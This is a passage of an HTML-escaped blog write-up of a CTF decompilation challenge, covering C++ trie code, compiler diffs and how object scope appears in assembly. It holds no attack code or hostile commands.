class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; pair &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; ch &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pair&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pair&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// ...update the character.&lt;/span&gt;
		new_map&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; cmix&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;token comment&quot;&gt;// A new map is used so that old mappings aren&#39;t kept.&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// Update the map of the current node.&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;next_node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; new_map&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;token comment&quot;&gt;// Recurse into child nodes with the same xor key.&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; pair &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; ch &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pair&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pair&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		node&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;mix&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cmix&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Now if you run this through the compiler diff, it should respond with some lines:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-diff-asm&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-asm&quot;&gt;&lt;span class=&quot;token deleted-sign deleted language-asm&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;call    _ZSt3getILm0EKcP8TrieNodeERNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERS7_
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-asm&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;call    _ZSt3getILm0EKcP8TrieNodeERKNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERKS7_&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Assembly&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Subtle. But there is a good reason why this occurs.
We&#39;ll look at this in more detail later.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;on-various-features&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#on-various-features&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; On Various Features&lt;/h3&gt;
&lt;p&gt;Common, but worth mentioning.&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;On &lt;code&gt;auto&lt;/code&gt;&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;&lt;code&gt;auto&lt;/code&gt; is a special keyword introduced in C++11 typically used to tell the compiler: &amp;quot;figure out this type for me&amp;quot;.&lt;/p&gt;
&lt;p&gt;It has seen wide adoption and growing support in the standard (more features for &lt;code&gt;auto&lt;/code&gt; are added each standard). Now (C++20) it&#39;s used widely in template parameters and lambda parameters.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;details&gt;&lt;summary&gt;On Iterators&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;The previous solution for &lt;code&gt;mix()&lt;/code&gt; made use of &lt;em&gt;iterators&lt;/em&gt;. These are commonly used by the &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Standard Template Library&quot;&gt;STL&lt;/abbr&gt;, providing a generic interface for iterating over containers.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; container&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; container&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We generally start with &lt;code&gt;.begin()&lt;/code&gt; and iterate with &lt;a href=&quot;https://stackoverflow.com/a/1077047/10239789&quot;&gt;prefix increment&lt;/a&gt; (&lt;code&gt;++it&lt;/code&gt;) until we hit the &lt;code&gt;.end()&lt;/code&gt; iterator. With iterators, we can apply generic &lt;a href=&quot;https://en.cppreference.com/w/cpp/algorithm&quot;&gt;algorithms&lt;/a&gt; on generic containers.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;details&gt;&lt;summary&gt;On Unordered Map&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;You may be wondering: why &lt;code&gt;std::unordered_map&lt;/code&gt;? Why not &lt;code&gt;std::map&lt;/code&gt;? Why type 10 extra keystrokes?&lt;/p&gt;
&lt;p&gt;The reason is time complexity.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;std::map&lt;/code&gt; is a binary search tree, giving &lt;code&gt;O(log n)&lt;/code&gt; search time on average (where &lt;code&gt;n&lt;/code&gt; is the number of entries).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;std::unordered_map&lt;/code&gt; is a hashmap, giving &lt;code&gt;O(1)&lt;/code&gt; search time on average. Takes more space though.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As the value of n increases, the number of operations required for &lt;code&gt;std::map&lt;/code&gt; will increase at a faster rate compared to &lt;code&gt;std::unordered_map&lt;/code&gt;. This is because &lt;code&gt;std::unordered_map&lt;/code&gt; is not affected by the number of entries in the map (except in the case of rehashing); hence, the constant time complexity, &lt;code&gt;O(1)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In the interest of performance, it&#39;s typical to opt for &lt;code&gt;unordered_map&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But in our case, since a node only has 256 possible edges (&lt;code&gt;char&lt;/code&gt;), the potential speed boost is limited, and the choice between &lt;code&gt;map&lt;/code&gt; and &lt;code&gt;unordered_map&lt;/code&gt; is debatable. ¯&#92;_(ツ)_/¯&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h3 id=&quot;on-scoping&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#on-scoping&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; On Scoping&lt;/h3&gt;
&lt;p&gt;An object in C++ has a &lt;strong&gt;constructor&lt;/strong&gt; and &lt;strong&gt;destructor&lt;/strong&gt;, functions that run at the beginning and end of its lifetime. The object&#39;s &lt;em&gt;&lt;strong&gt;scope&lt;/strong&gt;&lt;/em&gt; affects the placement of its constructor and destructor.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fn5&quot; id=&quot;fnref5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Let’s look at some examples:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// String in outer scope.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string constructor called&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// do stuff&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string destructor called&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// String in inner scope.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string constructor called&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// do stuff&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string destructor called&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Do you C the difference?&lt;/p&gt;
&lt;p&gt;Things become complicated when we further consider &lt;a href=&quot;https://www.internalpointers.com/post/understanding-meaning-lvalues-and-rvalues-c&quot;&gt;lvalues and rvalues&lt;/a&gt; (think: variables and temporaries).&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;Complicated Examples&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Passing lvalue string to normal parameter.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// Copy constructor is called and a temp object is created.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string constructor called&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// do stuff&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// ---&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string copy constructor called (copies s to a temporary)&lt;/span&gt;
		&lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string destructor (of temporary string) called&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// ---&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// do more stuff&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string destructor called&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Passing rvalue string to normal parameter.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// Regular constructor is called and a temp object is created.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// do stuff&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// ---&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// `const char*` literal is implicitly converted to std::string.&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string constructor called (creates a temporary)&lt;/span&gt;
		&lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Hello world!&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string destructor (of temporary string) called&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// ---&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// do more stuff&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;I don&#39;t intend to cover every single possible case. But yes, C++ is &lt;em&gt;extremely&lt;/em&gt; nuanced in this regard. (See also: &lt;a href=&quot;https://cplusplus.com/doc/tutorial/classes/&quot;&gt;classes&lt;/a&gt;, &lt;a href=&quot;https://cplusplus.com/doc/tutorial/classes2/&quot;&gt;special member functions&lt;/a&gt;, &lt;a href=&quot;https://stackoverflow.com/q/3106110/10239789&quot;&gt;move semantics&lt;/a&gt;.)&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;The point is: &lt;strong&gt;object scoping is all reflected at assembly level&lt;/strong&gt;. We can get a good understanding where an object is declared by &lt;em&gt;paying attention to its constructors and destructors&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This applies to classes, such as STL containers. Primitives (int, char, pointers) don&#39;t have constructors/destructors, so it’s trickier to tell where they&#39;re instantiated. It&#39;s even trickier with heavy optimisations.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Exercise&lt;/strong&gt;: Reverse the &lt;code&gt;main&lt;/code&gt; function.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use the position of constructors and destructors to determine the scope of various strings.&lt;/li&gt;
&lt;li&gt;Beware backslashes in the inserted strings.&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;&lt;summary&gt;Possible Solution&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; opt&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
